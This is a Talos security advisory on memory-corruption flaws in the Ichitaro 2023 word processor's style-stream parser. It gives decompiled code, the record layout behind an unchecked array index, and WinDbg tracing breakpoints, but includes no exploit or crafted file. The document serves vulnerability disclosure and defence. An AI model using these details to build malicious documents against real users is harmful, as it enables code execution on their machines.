Talos Vulnerability Report

TALOS-2023-1825

JustSystems Corporation Ichitaro 2023 DocumentViewStyles and DocumentEditStyles stream relative write vulnerabilities

October 19, 2023
CVE Number

CVE-2023-35126

SUMMARY

An out-of-bounds write vulnerability exists within the parsers for both the “DocumentViewStyles” and “DocumentEditStyles” streams of Ichitaro 2023 1.0.1.59372 when processing types 0x0000-0x0009 of a style record with the type 0x2008. A specially crafted document can cause memory corruption, which can lead to arbitrary code execution. An attacker can provide a malicious file to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Ichitaro 2023 1.0.1.59372
Versions of relevant binaries:

JSTARO26.OCX
File version: 1.0.1.60205

jsvda.dll
File version: 3.3.324.1

jsmisc32.dll
File version: 2.7.1.1

taro33.exe
File version: 1.0.1.59372

PRODUCT URLS

Ichitaro 2023 - https://www.ichitaro.com/

CVSSv3 SCORE

7.8 - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-129 - Improper Validation of Array Index

DETAILS

Ichitaro is a word processor produced by JustSystems, which showcases the ATOK input method system and occupies a large share of the Japanese word-processing market. The Ichitaro word processor supports compatibility with many document formats and provides a broad set of features, allowing it to remain competitive with other available word processors.

Other than the typical document and spreadsheet formats that are provided by the Microsoft Office suite, Ichitaro also supports their native document format, which uses the file extension .JTD. This file format is based on Microsoft’s Structured Storage format that was developed as part of Microsoft’s Component Object Model (COM). Similar to most document types that utilize this format, the structure of the entire .JTD document is stored within the streams that compose the Structured Storage file format. Thus, to access them, the application will use Microsoft’s Structured Storage API as exposed via COM. When the user opens a document with the application, the “JSTARO26.OCX” library is used to perform the actual loading of the contents of the document. This library will receive information about which document type was opened and then construct the necessary objects to retain the information being parsed out of the file.

After a JTD document has been opened, the following method at address 0x3C1FAF0F will eventually be executed. This method is an entry point to the parsing of some of the compound document streams that compose the document’s file format. Partway through this method, two methods of the same object will be use to process the style information from the compound document. At [1] a method will be used to process the “DocumentViewStyles” stream. Immediately afterwards at [2], a similar method will be used to parse the “DocumentEditStyles” stream. Both of these described methods will end up utilizing the same method to process their corresponding stream.

int __thiscall object_9c2044::method_processStreams_77af0f(
        object_9c2044 *this,
        JSVDA::object_OFRM *ap_oframe_0,
        unsigned int av_documentType_4,
        unsigned int av_flags_8,
        int ap_stackobject_c,
        int ap_null_10)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  lp_oframe_230 = ap_oframe_0;
  lp_stackObject_234 = ap_stackobject_c;
...
  if ( !v21.field_14 )
  {
LABEL_42:
    lp_stackobject_234 = av_flags_8 & 0x800;
    v10 = object_9c2044::parseStream(DocumentViewStyles)_3a790a(this, ap_oframe_0, av_documentType_4, av_flags_8);      // [1] DocumentViewStyles
    if ( v10 == 1 )
    {
      v10 = object_9c2044::parseStream(DocumentEditStyles)_3a6cb2(this, lp_oframe_230, av_documentType_4, av_flags_8);  // [2] DocumentEditStyles
      if ( v10 == 1 )
      {
        v10 = object_10cbd2::processSomeStreams_778971(
                this->v_data_290.p_object_48,
                lp_oframe_230,
                av_documentType_4,
                av_flags_8);
        if ( v10 == 1 )
...
      }
    }
...
  return v10;
}

The following method is used by the calling method to parse both the “DocumentViewStyles” and “DocumentEditStyles” stream. The stream that is being parsed is specified by the method’s 4th parameter. After the method assigns some variables, the 4th parameter will be checked in order to determine which string to use for the stream name. At [3], either the “DocumentViewStyles” string or “DocumentEditStyles” string will be assigned. Then at [4], the assigned string will be used with a method for an object that will use the string to open up a stream for the document and write an object to its last parameter. This object will be used throughout the method to read bytes from the opened stream. After resetting the position of the stream object, at [5] two 16-bit integers will be read from the beginning of the stream. These integers represent the header of the stream and appear to contain the stream’s version. At [6], the first 16-bit integer is verified, and then both integers are written into a structure that is located within the method’s frame. Afterwards, a loop will be entered which will read the entire contents of the stream that follow its header. This is done with a loop that tracks the current position and calls the method at [7] for each individual record within the “DocumentViewStyles” or “DocumentEditSTyles” stream.

int __thiscall object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(
        object_9c2044 *this,
        JSVDA::object_OFRM *ap_oframe_0,
        int av_documentType_4,
        int av_flags_8,
        int av_whichStream_c,
        _DWORD *ap_result_10)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  lp_this_64 = this;
  p_result_10.ap_unkobject_10 = ap_result_10;
  lp_oframe_6c = ap_oframe_0;
  constructor_3a9de4(&lv_struc_38);
...
  lv_struc_38.v_documentType_8 = av_documentType_4;
  lv_struc_38.v_flags_c = av_flags_8;
  lv_struc_38.p_owner_24 = lp_this_64;
  lv_struc_38.v_field_10 = 1;
  v17 = 4;
  if ( av_whichStream_c == 1 || av_whichStream_c == 3 || av_whichStream_c == 4 )            // [3] check 4th parameter to distinguish stream name
  {
    v9 = "DocumentViewStyles";                                                              // [3] assign "DocumentViewStyles" stream name
  }
  else
  {
...
    v9 = "DocumentEditStyles";                                                              // [3] assign "DocumentEditStyles" stream name
  }
  v10 = object_OFRM::openStreamByName?_132de4(lp_oframe_6c, v9, 16, &lp_oseg_68);           // [4] open stream name from document
  if ( v10 != -2147287038 )
  {
...
    *&lp_oframe_70 = 0i64;
    if ( object_OSEG::setCurrentStreamPosition_1329ce(lp_oseg_68, 0, 0, 0, 0) >= 0          // reset stream position
      && object_OSEG::read_ushort_3a7664(lp_oseg_68, &lv_field_74)                          // [5] read 16-bit integer
      && object_OSEG::read_ushort_3a7664(lp_oseg_68, &lv_field_78) )                        // [5] read 16-bit integer
    {
      if ( lv_field_74 <= 1u )                                                              // [6] verify first 16-bit integer
      {
        lv_struc_38.vw_version_20 = lv_field_74;                                            // [6] store stream version
        lv_struc_38.vw_used_22 = lv_field_78;                                               // [6] store unused 16-bit integer
...
        v12 = 0;
        for ( i = 4; ; v17 = i )
        {
          v25 = v12;
          v14 = struc_3a9de4::parseStylesContent_3a7048(                                    // [7] read rest of stream
                  &lv_struc_38,
                  lp_oseg_68,                                                               // object reprsenting stream
                  i,                                                                        // offset (low)
                  v12,                                                                      // offset (high)
                  av_whichStream_c,                                                         // which stream
                  p_result_10,
                  0);
...
          i = lv_struc_38.v_header_long_4 + 6 + v17;                                        // move onto next record
          v12 = (lv_struc_38.v_header_long_4 + 6i64 + __PAIR64__(v25, v17)) >> 32;          // calculate next record position
        }
        v8 = 1;
      }
...
    }
...
LABEL_39:
    object_OSEG::destroy_132a07(lp_oseg_68);
    v7 = v8;
  }
LABEL_40:
...
  return v7;
}

Each individual record within the stream begins with a 6-byte header that contains a 16-bit integer representing the record type, which follows a 32-bit integer containing the size of the record. At [8], this record is read from the stream and stored at the beginning of the current object. After the record header has been read, the 16-bit type from the header will be extracted at [9]. This type is then used to determine which logic is needed to parse the contents of the record using the conditionals found at [10]. This vulnerability specifically regards record type 0x2008. At [11], the current method will construct an object that will be used to parse the record contents and then return it. After the necessary object has been constructed, the constructed object will be used at [12] to parse record type 0x2008.

int __thiscall struc_3a9de4::parseStylesContent_3a7048(
        struc_3a9de4 *this,
        JSVDA::object_OSEG *ap_oseg_0,
        int av_position(lo)_4,
        int av_position(hi)_8,
        int av_currentStream_c,
        frame_3a7048_arg_10 ap_nullunion_10,
        frame_3a7048_arg_14 ap_nullunion_14)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  lv_result_4 = 0;
  p_oseg_0 = ap_oseg_0;
  p_result_3a705e = 1;
  v_documentType_8 = this->v_documentType_8;
  v_boxHeaderResult_0 = struc_3a9de4::readBoxHeader?_3a6fae(this, ap_oseg_0);           // [8] read the 6-byte record header
  if ( v_boxHeaderResult_0 != 31 )
  {
...
    vw_header_word_0 = this->vw_header_word_0;                                          // [9] check the 16-bit integer from the header
...
    if ( vw_header_word_0 > 0x2003 )                                                    // [10] check type is > 0x2003
    {
      v_wordsub(2004)_0 = vw_header_word_0 - 0x2004;
      if ( v_wordsub(2004)_0 )                                                          // [10] check type is > 0x2004
      {
        v_word(2005)_0 = v_wordsub(2004)_0 - 1;
        if ( !v_word(2005)_0 )
        {
...
        }
        v_wordsub(2006)_0 = v_word(2005)_0 - 1;
        if ( v_wordsub(2006)_0 )                                                        // [10] check type is > 0x2006
        {
          v_word(2007)_0 = v_wordsub(2006)_0 - 1;
          if ( v_word(2007)_0 )                                                         // [10] check type is > 0x2007
          {
            v_word(2008)_0 = v_word(2007)_0 - 1;
            if ( !v_word(2008)_0 )                                                      // [10] check type is 0x2008
            {
...
              p_object_84 = p_owner_24->v_data_290.p_object_84;
              p_object_60 = p_object_84->v_data_4.p_object_60;
              if ( p_object_60 )
                goto LABEL_93;
              p_object_60 = object_9c2d50::create_field(64)_6bf3a6(p_object_84);        // [11] construct an object for field at +0x64
              if ( p_object_60 )
              {

LABEL_93:
                p_styleObject_3a712c = object_9d0d30::readStyleType(2008)_391906(       // [12] use field object to parse record type
                                         p_object_60,
                                         p_oseg_0,
                                         this->v_header_long_4,
                                         Av_six_8,
                                         this->v_documentType_8,
                                         ap_nullunion_10.ap_unkobject_10,
                                         &lv_result_4);
                goto break_3a736f;
              }
              goto break_3a7625;
            }

When parsing the contents of record type 0x2008, the following method is used. The very first thing the method does is construct an object that is responsible for containing the styles that are parsed out of this record type. At [14], the object is constructed and then initialized with an array containing 6 elements before references to the objects from this array are copied into a constant-sized array that is allocated within the frame of the function. This array being of a constant size is inherent to the vulnerabilities described within this document and will be discussed later. After the 6-element array has been initialized, the contents of the entire record will be read into a heap buffer at [15]. This heap buffer will then be used throughout the rest of the method to decode its contents. Once the method has read the contents of the entire record into the allocated heap buffer, a 16-bit integer will be read from the beginning at [16] prior to decoding the rest of the record’s contents using a loop.

Each sub-record that follows this 16-bit field is prefixed with both a 16-bit type and a 16-bit size. At [17], a loop will be entered that will decode each sub-record from the 0x2008 record’s contents. This loop will continuously decode records until a 16-bit of the value 0xFFFF has been read. After decoding the type from each sub-record, at [18] the sub-record’s 16-bit size will be decoded. This size will generally be used to calculate the total number of bytes that are contained by each sub-record. This size is then used at [19] to consume the contents of the sub-record and then update a field with whatever was decoded.

int __thiscall object_9d0d30::readStyleType(2008)_391906(
        object_9d0d30 *this,
        JSVDA::object_OSEG *ap_oseg_0,
        int av_size_4,
        int av_someFlag_8,
        int av_documentType_c,
        int ap_nullobject_10,
        int *ap_result_14)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  std::_Tree_val<std::_Tree_simple_types<std::pair<void * const,`anonymous namespace'::_Mutex_count_pair>>>::_Tree_val<std::_Tree_simple_types<std::pair<void * const,`anonymous namespace'::_Mutex_count_pair>>>(&lv_triple_80);
...
  v9 = (object_9d14a0 *)JSFC::malloc_181e(sizeof(object_9d14a0));
  v16 = (JSPRE::wstringwithlength_2ff20 *)v9;
  LOBYTE(v34) = 1;
  if ( v9 )
    v10 = object_9d14a0::constructor_38cb12(v9, this->v_data_20.p_object(9c2044)_c, this);                  // [14] construct object to contain array of objects
  else
    v10 = 0;
  LOBYTE(v34) = 0;
  this->v_data_20.p_object_14 = v10;
  object_9d14a0::addSixObjects_38cb7d(v10);                                                                 // [14] initialize array of objects with 6 elements
  for ( i = 0; i < 6; ++i )
    lv_objects(6)_6c[i] = object_9d14a0::getPropertyForItemAtIndex_37a71d(this->v_data_20.p_object_14, i);  // [14] copy 6 elements of array into array in frame
...
  if ( !arena_reader::getNextAvailableArena?_7951f2(&lv_triple_80) )
    goto LABEL_47;
  if ( !arena_reader::readStreamContents_7797cb(&lv_triple_80, ap_oseg_0, av_size_4) )                      // [15] read contents of record into arena
    goto LABEL_47;
  if ( !arena_reader::read_ushort_779780(&lv_triple_80, &lv_field_8c) )                                     // [16] read 16-bit integer
    goto LABEL_47;
  *(_DWORD *)&this->v_data_20.vw_field_38 = (unsigned __int16)lv_field_8c;
  if ( !arena_reader::read_ushort_779780(&lv_triple_80, &lvw_case_84) )                                     // [17] read 16-bit integer for type
    goto LABEL_47;
  while ( lvw_case_84 != 0xFFFF )                                                                           // loop until type is 0xFFFF
  {
    switch ( lvw_case_84 )
    {
      case 0u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )                  // [18] read beginning of valid record containing size
          goto LABEL_47;
        LOWORD(lv_size_74) = lv_size_74 - 2;
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v25) )                                       // [19] consume contents of valid record
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(0)_14 = v25;
        goto LABEL_51;
...
      default:
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &lv_size_74) )                                // [18] read size from invalid record
          goto LABEL_47;
        break;
    }
    while ( (_WORD)lv_size_74 )
    {
      if ( !arena_reader::read_byte_405b6c(&lv_triple_80, &lvb_85) )                                        // [19] consume contents of invalid record
        goto LABEL_47;
      lv_size_74 += 0xFFFF;
    }
LABEL_51:
    if ( !arena_reader::read_ushort_779780(&lv_triple_80, &lvw_case_84) )                                   // [17] read next 16-bit integer for type
      goto LABEL_47;
  }
...
}

The following decompilation highlights the different sub-record types that are decoded by the prior-mentioned loop. In this loop, there are 9 different cases that are used when decoding the contents of each sub-record. For each sub-record, at [20] the case will decode a header containing a 16-bit size and a 16-bit index. The 16-bit index that is decoded is inherent to the vulnerabilities described within this document. Afterwards, the size is then used to calculate the number of bytes left in each sub-record. Then at [21], the contents of the sub-record is generally decoded as a 16-bit integer. Sub-record case 7, however, will decode the contents as a 32-bit integer. Case 5 has a type that will be discussed later in this document. After the contents of a sub-record has been decoded, each sub-record handler will then write the decoded contents into a field at [22], which will belong to one of the object references that was stored within the method’s frame. It is prudent to note that the default handler for when the sub-record case is not 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0006, 0x0007, 0x0008 or 0x0009 will only include a 16-bit size in its sub-record header as opposed to a 16-bit size and a 16-bit index.

int __thiscall object_9d0d30::readStyleType(2008)_391906(
        object_9d0d30 *this,
        JSVDA::object_OSEG *ap_oseg_0,
        int av_size_4,
        int av_someFlag_8,
        int av_documentType_c,
        int ap_nullobject_10,
        int *ap_result_14)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
...
  while ( lvw_case_84 != 0xFFFF )
  {
    switch ( lvw_case_84 )
    {
      case 0u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )          // [20] decode header containing 16-bit size and index
          goto LABEL_47;
        LOWORD(lv_size_74) = lv_size_74 - 2;
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v25) )                               // [21] decode 16-bit contents
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(0)_14 = v25;         // [22] store decoded contents to object
        goto LABEL_51;
      case 1u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )          // [20] decode header containing 16-bit size and index
          goto LABEL_47;
        LOWORD(lv_size_74) = lv_size_74 - 2;
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v24) )                               // [21] decode 16-bit contents
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(1)_18 = v24;         // [22] store decoded contents to object
        goto LABEL_51;
      case 2u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )          // [20] decode header containing 16-bit size and index
          goto LABEL_47;
        LOWORD(lv_size_74) = lv_size_74 - 2;
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v23) )                               // [21] decode 16-bit contents
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(2)_1c = v23;         // [22] store decoded contents to object
        goto LABEL_51;
      case 3u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )          // [20] decode header containing 16-bit size and index
          goto LABEL_47;
        LOWORD(lv_size_74) = lv_size_74 - 2;
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v22) )                               // [21] decode 16-bit contents
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(3)_20 = v22;         // [22] store decoded contents to object
        goto LABEL_51;
      case 4u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )          // [20] decode header containing 16-bit size and index
          goto LABEL_47;
        LOWORD(lv_size_74) = lv_size_74 - 2;
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v21) )                               // [21] decode 16-bit contents
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(4)_28 = v21;         // [22] store decoded contents to object
        goto LABEL_51;
      case 5u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )          // [20] decode header containing 16-bit size and index
          goto LABEL_47;
        v12 = (unsigned __int16)(lv_size_74 - 2);
...
        goto LABEL_51;
      case 6u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )          // [20] decode header containing 16-bit size and index
          goto LABEL_47;
        lv_size_74 += 0xFFFE;
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v20) )                               // [21]  decode 16-bit contents
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(6)_34 = v20;         // [22] store decoded contents to object
        goto LABEL_51;
      case 7u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )          // [20] decode header containing 16-bit size and index
          goto LABEL_47;
        lv_size_74 += 0xFFFC;
        if ( !arena_reader::read_int_6b5bc1(&lv_triple_80, &v17) )                                  // [21] decode 32-bit contents
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(7)_38 = v17;         // [22] store decoded contents to object
        goto LABEL_51;
      case 8u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )          // [20] decode header containing 16-bit size and index
          goto LABEL_47;
        lv_size_74 += 0xFFFE;
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &var_A8) )                            // [21] decode 16-bit contents
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(8)_3c = var_A8;      // [22] store decoded contents to object
        goto LABEL_51;
      case 9u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )          // [20] decode header containing 16-bit size and index
          goto LABEL_47;
        lv_size_74 += 0xFFFE;
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v18) )                               // [21] decode 16-bit contents
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(9)_24 = v18;         // [22] store decoded contents to object
        goto LABEL_51;
      default:
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &lv_size_74) )                        // [20] decode 16-bit size (no header)
          goto LABEL_47;
        break;
    }
...
}

There are 2 types of side-effects described by this document. Both of them revolve specifically around the way that the 16-bit index that is read from each sub-record is used. The 16-bit index is used to index into a 6-element array of objects that was referenced within the stack. Due to the lack of bounds-checking of this 16-bit index against the length of the array, the decoding of each sub-record will allow writing outside the boundaries of the array. Revisiting the previous section, at [23] the size and 16-bit index will be read for a vulnerable sub-record. Afterwards, an integer will be read from the contents of the record at [24]. At [25] it will be written into the field of an object using the 6-element array of object references within the stack frame. If the index that is decoded is 6 or larger, this will result in dereferencing a pointer to an object that is out-of-bounds of the array and then writing the decoded integer into it. This can be used to corrupt memory, which can result in code execution under the context of the application.

int __thiscall object_9d0d30::readStyleType(2008)_391906(
        object_9d0d30 *this,
        JSVDA::object_OSEG *ap_oseg_0,
        int av_size_4,
        int av_someFlag_8,
        int av_documentType_c,
        int ap_nullobject_10,
        int *ap_result_14)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
...
  while ( lvw_case_84 != 0xFFFF )
  {
    switch ( lvw_case_84 )
    {
      case 0u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )      // [23] read size with 16-bit index
          goto LABEL_47;
        LOWORD(lv_size_74) = lv_size_74 - 2;                                                    // adjust the sub-record size by 16-bits
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v25) )                           // [24] read 16-bit value
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(0)_14 = v25;     // [25] use 16-bit index to write to offset +0x34 of object
        goto LABEL_51;
      case 1u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )      // [23] read size with 16-bit index
          goto LABEL_47;
        LOWORD(lv_size_74) = lv_size_74 - 2;                                                    // adjust the sub-record size by 16-bits
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v24) )                           // [24] read 16-bit value
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(1)_18 = v24;     // [25] use 16-bit index to write to offset +0x38 of object
        goto LABEL_51;
      case 2u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )      // [23] read size with 16-bit index
          goto LABEL_47;
        LOWORD(lv_size_74) = lv_size_74 - 2;                                                    // adjust the sub-record size by 16-bits
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v23) )                           // [24] read 16-bit value
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(2)_1c = v23;     // [25] use 16-bit index to write to offset +0x3c of object
        goto LABEL_51;
      case 3u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )      // [23] read size with 16-bit index
          goto LABEL_47;
        LOWORD(lv_size_74) = lv_size_74 - 2;                                                    // adjust the sub-record size by 16-bits
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v22) )                           // [24] read 16-bit value
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(3)_20 = v22;     // [25] use 16-bit index to write to offset +0x50 of object
        goto LABEL_51;
      case 4u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )      // [23] read size with 16-bit index
          goto LABEL_47;
        LOWORD(lv_size_74) = lv_size_74 - 2;                                                    // adjust the sub-record size by 16-bits
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v21) )                           // [24] read 16-bit value
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(4)_28 = v21;     // [25] use 16-bit index to write to offset +0x48 of object
        goto LABEL_51;
...
      case 6u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )      // [23] read size with 16-bit index
          goto LABEL_47;
        lv_size_74 += 0xFFFE;                                                                   // adjust the sub-record size by 16-bits
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v20) )                           // [24] read 16-bit value
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(6)_34 = v20;     // [25] use 16-bit index to write to offset +0x54 of object
        goto LABEL_51;
      case 7u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )      // [23] read size with 16-bit index
          goto LABEL_47;
        lv_size_74 += 0xFFFC;                                                                   // adjust the sub-record size by 32-bits
        if ( !arena_reader::read_int_6b5bc1(&lv_triple_80, &v17) )                              // [24] read 32-bit value
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(7)_38 = v17;     // [25] use 16-bit index to write to offset +0x58 of object
        goto LABEL_51;
      case 8u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )      // [23] read size with 16-bit index
          goto LABEL_47;
        lv_size_74 += 0xFFFE;                                                                   // adjust the sub-record size by 16-bits
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &var_A8) )                        // [24] read 16-bit value
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(8)_3c = var_A8;  // [25] use 16-bit index to write to offset +0x5c of object
        goto LABEL_51;
      case 9u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )      // [23] read size with 16-bit index
          goto LABEL_47;
        lv_size_74 += 0xFFFE;                                                                   // adjust the sub-record size by 16-bits
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &v18) )                           // [24] read 16-bit value
          goto LABEL_47;
        lv_objects(6)_6c[(unsigned __int16)lv_index_70]->v_data_20.v_typeField(9)_24 = v18;     // [25] use 16-bit index to write to offset +0x44 of object
        goto LABEL_51;
...
    }
...
}

Case 5 of the sub-record decoder suffers from the same issue as the other but allows for a different side effect. Similarly, at [26] the 16-bit size and index is decoded from the sub-record header and then the size is adjusted by subtracting 2 from it. Afterwards at [27], the sub-record size is checked to ensure that it is not larger than 0x66 and then divided by 2 before being used as a length when decoding an array of 16-bit characters from the sub-record’s contents. The size is then aligned to a multiple of 2 before performing a bounds check. If this bounds check succeeds, than at [28] the decoder will null-terminate the decoded wide-character string. Finally at [29], the decoder for the sub-record will call a method with the decoded string in order to write a pointer to said string into the object referenced by the method’s first parameter. Similarly, due to the lack of bounds-checking on the 16-bit index that is decoded, this method can write the string pointer outside the bounds of the array initialized within the method’s frame and allow for memory corruption.

int __thiscall object_9d0d30::readStyleType(2008)_391906(
        object_9d0d30 *this,
        JSVDA::object_OSEG *ap_oseg_0,
        int av_size_4,
        int av_someFlag_8,
        int av_documentType_c,
        int ap_nullobject_10,
        int *ap_result_14)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
...
  while ( lvw_case_84 != 0xFFFF )
  {
    switch ( lvw_case_84 )
    {
...
      case 5u:
        if ( !arena_reader::read_header_779756(&lv_triple_80, &lv_size_74, &lv_index_70) )                              // [26] read size with 16-bit index
          goto LABEL_47;
        v12 = (unsigned __int16)(lv_size_74 - 2);                                                                       // adjust sub-record size by 16-bits
        lv_size_74 = v12;
        if ( v12 > 0x66 || !arena_header::read_u16array_7796f9(&lv_triple_80, (char *)lv_wstring(28)_54, v12 >> 1) )    // [27] use length to decode wchar_t string
          goto LABEL_47;
        v13 = lv_size_74 & 0xFFFE;                                                                                      // adjust size to multiple of 2
        if ( v13 >= 0x42 )                                                                                              // check size
          __report_rangecheckfailure();
        v15.p_wstring_4 = 0;
        v15.v_length_0 = 0;
        *(__int16 *)((char *)lv_wstring(28)_54 + v13) = 0;                                                              // [28] null-terminate string
        v16 = &v15;
        wstringwithlength_2ff20::initialize_7fb182(&v15, (wchar_t *)lv_wstring(28)_54);                                 // initialize string object in frame
        LOBYTE(v34) = 0;
        object_9d15a0::set_field(2c)_6c0780(                                                                            // [29] assign string object into field
          lv_objects(6)_6c[(unsigned __int16)lv_index_70],                                                              // [29] use 16-bit index to grab object from array
          v15.v_length_0,
          v15.p_wstring_4);
        goto LABEL_51;
...
      default:
        if ( !arena_reader::read_ushort_779780(&lv_triple_80, &lv_size_74) )
          goto LABEL_47;
        break;
    }
...
}

Crash Information

The following windbg breakpoints are used in the walkthrough that follows.

bp JSTARO26.OCX+3a7766 ".printf\"(%p) int object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(object_9c2044* this=%p, JSVDA::object_OFRM* ap_oframe_0=%p, int av_documentType_4=%p, int av_flags_8=%p, int av_whichStream_c=%p, _DWORD* ap_result_10=%p)\\n\",poi(@esp+0),@ecx,poi(@esp+4),poi(@esp+8),poi(@esp+c),poi(@esp+10),poi(@esp+14);g"
bp JSTARO26.OCX+3a78b2 ".printf\"(%p) int object_9c2044::parseStream(DocumentViewStyles,DocumentEditStyles)_3a76be(object_9c2044* this=%p, JSVDA::object_OFRM* ap_oframe_0=%p, int av_documentType_4=%p, int av_flags_8=%p, int av_whichStream_c=%p, _DWORD* ap_result_10=%p)\\n\",poi(@esp+0),@ecx,poi(@esp+4),poi(@esp+8),poi(@esp+c),poi(@esp+10),poi(@esp+14);g"
bp JSTARO26.OCX+3a7064 ".printf\"(%p) int struc_3a9de4::readBoxHeader?_3a6fae(struc_3a9de4* this=%p, JSVDA::object_OSEG* ap_oseg_0=%p)\\n\",@eip,@ecx,poi(@esp+0); r@$t0=@ecx; .push /r /q; g"
bp JSTARO26.OCX+3a7069 ".pop /r /q; .printf\"(%p) struc_3a9de4.vw_header_word_0=%04x struc_3a9de4.v_header_long_4=%08x\\n\",@eax,wo(@$t0+0),dwo(@$t0+4);g"
bp JSTARO26.OCX+391952 ".printf\"(%p) object_9d14a0* object_9d14a0::constructor_38cb12(object_9d14a0* this=%p, object_9c2044* arg_0=%p, object_9d0d30* ap_owner_4=%p)\\n\",@eip,@ecx,poi(@esp+0),poi(@esp+4);g"
bp JSTARO26.OCX+391964 ".printf\"(%p) int object_9d0d30::readStyleType(2008)_391906(object_9d0d30* this=%p, JSVDA::object_OSEG* ap_oseg_0=%p, int av_size_4=%p, int av_someFlag_8=%p, int av_documentType_c=%p, int ap_nullobject_10=%p, int* ap_result_14=%p)\\n\",@eip,@ecx,poi(@esp+0),poi(@esp+4),poi(@esp+8),poi(@esp+c),poi(@esp+10),poi(@esp+14);g"
